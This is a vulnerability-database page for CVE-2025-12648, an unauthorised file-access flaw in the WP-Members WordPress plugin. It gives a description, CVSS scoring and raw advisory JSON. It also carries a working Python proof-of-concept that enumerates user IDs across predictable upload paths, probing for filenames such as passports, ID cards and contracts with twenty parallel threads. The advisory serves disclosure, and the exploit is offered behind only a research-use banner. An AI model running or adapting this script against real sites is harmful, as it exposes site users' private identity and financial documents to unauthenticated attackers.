Security Vulnerability Report
中文
CVE-2025-12648 CVSS 5.3 MEDIUM

CVE-2025-12648

Published: 2026-01-07 12:16:47
Last Modified: 2026-04-15 00:35:42

Description

The WP-Members Membership Plugin for WordPress is vulnerable to unauthorized file access in versions up to, and including, 3.5.4.4. This is due to storing user-uploaded files in predictable directories (wp-content/uploads/wpmembers/user_files/<user_id>/) without implementing proper access controls beyond basic directory listing protection (.htaccess with Options -Indexes). This makes it possible for unauthenticated attackers to directly access and download sensitive documents uploaded by site users via direct URL access, granted they can guess or enumerate user IDs and filenames.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP-Members Membership Plugin for WordPress <= 3.5.4.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12648 PoC - WP-Members Unauthorized File Access This script demonstrates the file enumeration vulnerability in WP-Members plugin """ import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-wordpress-site.com" UPLOAD_PATH = "/wp-content/uploads/wpmembers/user_files/" # Common file patterns that users might upload COMMON_FILES = [ "contract.pdf", "document.pdf", "agreement.pdf", "id_card.jpg", "passport.jpg", "license.jpg", "resume.pdf", "cv.pdf", "invoice.pdf", "receipt.pdf" ] def check_file_access(user_id, filename): """Check if a specific file is accessible""" url = f"{TARGET_URL}{UPLOAD_PATH}{user_id}/{filename}" try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: return { "accessible": True, "user_id": user_id, "filename": filename, "size": len(response.content), "url": url } except requests.RequestException: pass return None def enumerate_files(start_id=1, end_id=1000): """Enumerate files for a range of user IDs""" results = [] print(f"[*] Starting enumeration from user ID {start_id} to {end_id}") with ThreadPoolExecutor(max_workers=20) as executor: futures = {} for user_id in range(start_id, end_id + 1): for filename in COMMON_FILES: future = executor.submit(check_file_access, user_id, filename) futures[future] = (user_id, filename) for future in as_completed(futures): result = future.result() if result: results.append(result) print(f"[+] Found accessible file: User {result['user_id']} - {result['filename']}") return results if __name__ == "__main__": if len(sys.argv) > 1: start = int(sys.argv[1]) end = int(sys.argv[2]) if len(sys.argv) > 2 else start + 100 results = enumerate_files(start, end) print(f"\n[*] Found {len(results)} accessible files") else: print("Usage: python cve-2025-12648-poc.py <start_user_id> <end_user_id>") print("Example: python cve-2025-12648-poc.py 1 1000")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12648", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:47.120", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-Members Membership Plugin for WordPress is vulnerable to unauthorized file access in versions up to, and including, 3.5.4.4. This is due to storing user-uploaded files in predictable directories (wp-content/uploads/wpmembers/user_files/<user_id>/) without implementing proper access controls beyond basic directory listing protection (.htaccess with Options -Indexes). This makes it possible for unauthenticated attackers to directly access and download sensitive documents uploaded by site users via direct URL access, granted they can guess or enumerate user IDs and filenames."}, {"lang": "es", "value": "El plugin de membresía WP-Members para WordPress es vulnerable al acceso no autorizado a archivos en versiones hasta la 3.5.4.4, inclusive. Esto se debe al almacenamiento de archivos subidos por los usuarios en directorios predecibles (wp-content/uploads/wpmembers/user_files//) sin implementar controles de acceso adecuados más allá de la protección básica contra el listado de directorios (.htaccess con Options -Indexes). Esto hace posible que atacantes no autenticados accedan y descarguen directamente documentos sensibles subidos por los usuarios del sitio a través de acceso directo por URL, siempre que puedan adivinar o enumerar los ID de usuario y los nombres de archivo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-552"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-members/trunk/includes/admin/class-wp-members-admin-api.php#L707", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-members/trunk/includes/class-wp-members-forms.php#L604", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3427043/wp-members/trunk/includes/class-wp-members-forms.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9d0154fd-0cab-4445-a92e-c44ae9931479?source=cve", "source": "[email protected]"}]}}